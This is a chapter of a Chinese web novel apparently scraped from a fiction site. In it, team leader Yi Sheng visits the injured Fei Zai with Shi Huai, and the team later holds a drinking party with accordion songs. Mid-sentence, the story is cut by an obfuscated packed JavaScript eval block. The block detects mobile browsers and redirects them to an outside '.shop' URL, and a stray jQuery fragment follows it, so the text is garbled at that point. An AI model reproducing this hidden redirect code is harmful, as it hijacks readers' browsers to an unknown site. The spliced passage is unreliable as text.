文趣网 > 都市小说 > 如何当上联邦总督 > 14. 猫猫狗狗打架
    时槐被易生牵着手,玩心又起,小孩子似的晃晃悠悠不肯好好走路。“我们现在去哪里啊?”

    “累了?”易生单手提着几个购物袋,盘算着离飞仔的医院还有多远。“飞仔上午受伤,就近送到东一区的医院住院,我们现在去看他一下。”

    探视病号啊?这事她爱干~

    易生不知道时槐探视病号是假,在躺着不能动的小伙伴前炫耀礼物才是真。

    看着易生出去洗水果后,时槐对浑身包着纱布的飞仔咧嘴一笑,露出森森利齿。“看见那些购物袋了吗?”

    “…..”不能动弹的飞仔闭上眼睛,不想看她这副嘴脸。

    “队长买给我的~”

    “看见这耳环了吗?”

    “…..”飞仔当没看见,被子下的手攥得死紧。

    “也是队长买给我的~队长还说今晚在她家里给我开表彰会~让我猜猜,是谁没有被邀请呀~”时槐的语气越发欠抽,飞仔的脸色越发难看。

    “啊啊啊啊我忍不了了!我今天就要让你看看谁才是队长最喜欢的狗狗啊啊啊啊!”飞仔咆哮着想冲她挥拳,结果刚一起身,伤口就被扯动吗,疼得他呲牙咧嘴又倒了回去。

    洗好水果刚进屋的易生看见这一幕,眉头拧得死紧,长腿一迈走到飞仔病床前:“干什么?想不想好了?”

    飞仔被训的丧眉搭眼,头毛都垂了下去,“队长!是她先挑衅我的!”

    易生视线扫过时槐,女孩双手摆在膝盖处,老老实实又乖乖巧巧坐在椅子上。

    飞仔顺着她的目光看过去,正巧对上坏心眼女孩的鬼脸,顿时气个倒仰,捂着胸口喊易生回头。

    易生回过头,女孩坐在那儿依旧乖巧的像个小手办。

    “怎么了你?怎么总针对小槐?”

    飞仔彻底没招了,天大的委屈化成对自己受伤在床的愤恨。

    幻视猫猫狗狗打架的易生感觉有点好笑,坐下来给飞仔扒橘子。

    “都是队员,是一家人。要好好相处才行。”易生忍住笑,一只手抓飞仔一只手抓时槐,将他们的手叠在一块儿,“好了好了,握手休战。”

    飞仔还能说什么,只能忍着满腔怨气和坏心眼小孩握手言和,“以后好好相处….”

    时槐笑得牙不见眼,语调轻快,满是幸灾乐祸“当然了。”

    猫狗和平共处的一幕让大家长易生很是满意,见飞仔吊瓶即将见底,起身去护士站找人换药。

    易生前脚刚走,颓废着的飞仔立刻换了一幅表情。神色严肃又锐利,盯着时槐。

    “你救了标哥和小花?”

    时槐得意点头。

    “你到底是什么人?来这里有什么目的?”

    时槐摇头,“我是谁不重要,我的目的与你们无关。你只需知道我永远不会伤害队长,伤害你们。”她顿了顿,举起手,五指并拢,“我发誓。”

    飞仔眼神如刀盯了她一会儿忽然叹了口气,靠回床头,瞬间从气势强盛的刽子手变回病床上的毛头小子。

    “哎呀…我好讨厌想这些有的没的事啦!与其想破脑袋想你会不会害我们,不如大家开诚布公,直接问咯,你能出手救阿标他们,估计就没打算害我们啦!”

    时槐欣赏这样的人,欣赏这种不弯弯绕绕,有事直接沟通,把话说开就直接交付信任的态度。

    所以她看着飞仔的眼睛,严肃又认真的重申自己的立场。“我不会伤害你们,也不会叫其他人伤害你们。”

    “那就没事啦没事啦!”飞仔挠挠头,“其实….其实我还挺喜欢你的。”

    “你那个枪是怎么做到的?”他发出求知的声音,“那么远的距离?你什么都看不见,光听声音就判断出形式下手了?”

    “那当然,我可是救生员,救生员小姐无所不能。”时槐翘尾巴。

    “救生员是什么?”飞仔挠头,“而且你这么厉害,我直接喊你小槐是不是不太礼貌啊?”飞仔挠头且磕磕巴巴。

    “没事没事,我叫你哥,你叫我姐,咋俩各论各的,不耽误。”

    “哇——我比你大还管你叫姐,我岂不是很亏?”飞仔两只手放在胸前交叉,表示此事绝无可能。

    “你不能这么想。”坏心眼时槐放低了声音循循善诱,“我比你强对不对?”

    “虽然不想承认但是…对。”

    “我比四队其他人都强对不对?”

    “不一定哦!队长很强的!宇宙无敌强!”

    “姐姐先不算,我就说队里有个超级强的人,出于尊敬,你们一般叫她什么?”

    “……时姐。”

    “这不就结了。”时槐心满意足,拍了拍飞仔打着吊瓶的手,“再说了你这一声姐又不白叫,以后姐姐罩你!让你在联邦横着走!”

    “哇!你说的要罩着我的,一言为定不准耍赖!”

    “君子一言,驷马难追,救生员小姐从不说谎!”

    病床上两只手重重握在一起,刚开始还带着一诺千金的热血,慢慢地就变了味,成了猫猫狗狗的又一场角力。

    随着其中一只手被猛地压下,时槐的声音响起:“我赢了!”

    “幼不幼稚…”再一次输给她的飞仔撇了撇嘴,怪模怪样地学她说话,“救生员小姐无所不能~”

    飞仔最后还是没赶上时槐的表彰party,倒不是因为没被邀请。易生看他状态还算不错,打算联系医院办转院,转回到督察中心的附属医院接着治。

    结果这哥们磨蹭半天就是不签字。易生被他搞得一头雾水,以为他查出了什么难治的隐疾,对着飞仔逼问再三。

    结果真相令人啼笑皆非,原来飞仔看上了东一区医院的一位护士小姐,担心转回督察中心后没机会见面,才磨磨蹭蹭地不肯走,想着近水楼台,先和人家处处感情。

    “……”易生实在拿她这个少年怀春的手下没辙,给他转院的事只能作罢。

    之后飞仔欢天喜地地看易生给他续缴了大半个月的治疗费,转身美滋滋地躺回床上养精蓄锐,等着对护士姐姐孔雀开屏。

    没了飞仔的party大家玩的依旧开心。易生小喝了几杯,靠在沙发上看这几个年轻人吵吵嚷嚷互相灌酒。

    “来来来!想说的话都在酒里了!干了这杯!”这是喝得双颊飘红的时槐。

    “妹子!救命之恩!”奎标迷离着眼,胳膊搭上时槐的肩,“以后!你就是我亲妹子!”

    “标哥!”

    “哎!妹子!”他明显是喝多了,大着舌头把胸拍得震天响。“以后我的零食…..就是你的!”

    “标哥!”时槐喊出有史以来最心甘情愿的一声哥。

    “哎!妹子!”

    “小槐….”

    “?谁喊我?”时槐从奎标过于热情的拥抱中艰难抬头,看见尹花立在吧台前,遥遥冲她举杯,“谢谢。”

    “客气了花哥,应该的。”她回以微笑,也举杯“再说就生分了嗷。”

    尹花歪了歪头,把手中酒一饮而尽。

    时槐眼尖,看见他们亲爱的大家长,敬爱的大姐头悄然脱离战局,一副众人皆醉我独醒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602827|205427||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的模样。眼珠子一转,坏点子蹭蹭往上冒。

    “看!”她先是用手肘捅了捅奎标,小声同他讲队长还没喝好,又眼神寻求尹花的帮助。

    大小狐狸对上眼,确认过眼神,遇上对的人(搞事)。于是一拍即合,纷纷端起酒杯来到易生面前。

    “队长,躲在一旁看着干什么,快乐的时光不喝酒岂不浪费。”这是尹花。

    “来!大姐头!喝酒!”这是喝嗨了的奎标。

    “姐姐~喝一杯嘛姐姐~”这是凑到沙发前施展撒娇大法的时槐。

    易生耐不住这几只醉猫的连番攻击软磨硬泡,遂又被灌进去几杯。

    酒过三巡,抵不过酒意的睡晕了,玩嗨的也嗨过了。时槐贴到易生身边,安安静静地听尹花拉琴。

    尹花拉的琴很特殊,她只在现实世界的博物馆里见过。

    这琴和钢琴有点像,都有黑白两种颜色的琴键,只不过它比钢琴小得多,琴键右边带着一个折叠的口袋。

    易生说那是风箱,尹花拉的琴叫手风琴。

    “尹花来自西六区,纬度高,气温低。有四分之三的时间都在下雪,看不见太阳。”易生理了理她耳边闹出来的乱发。

    终年不化的积雪赋予生存其中的人独特的生命力。泥土坚硬又冰冷,人心却热烈又浪漫,对生活抱有无限热忱。

    所以他们唱歌,跳舞,赞美劳作,赞美太阳。

    因为失去过,才更加懂得珍贵。

    尹花用家乡的语言低低地哼,哼唱一首古老民谣,她们用尊重和爱静静地听,听时间所能带来的永恒。

    感谢太阳,带来光明与希望。

    感谢时间,赐予人类目力所不能及的过去、现在与未来。

    “Времяведьнельзяостановить,

    时间永不停歇,

    Покакровькипит,

    直到血液沸腾,

    Покажитемнедалеко,топрекрасноедалеко,

    请让我看看那远处,那美丽的远方吧,

    Гделучитсяицветёт,цветёт,цветёт,цветётапрель,

    在那里闪耀和开花,开花,开花。”

    时槐抬头,指尖抚上易生的眼睛。

    眼前的女人强大,战无不胜似乎无坚不摧,心底柔软得如同三月里一汪阳春水。

    温柔,仁慈,怀揣着对万物的悲悯。

    她是个忠诚的守护者,抱着刀枪,守护光明。

    “姐姐呢?你来自哪里?”

    易生将视线投得很远,投向远方。

    “我啊?”

    “我的家在西七区,那里是高山和广袤的草原。”

    还有她的妹妹,她此生仅存的亲人。

    尹花还在唱,低沉的嗓音在房间里盘桓,又归燕般飞走了。

    “Чтожетебеснится?Чтожетебеснится?

    是什么在你的梦境中,你梦见了什么?

    Домиручей,гдетоскуетнежностьочей,

    在那里,你的眼睛在渴望家和小溪,

    Большенеслучится,большенеслучится,

    都不会在发生了,都不会在发生了,

    Обещаймнебольшенетерять,

    答应我你不会再失去它。”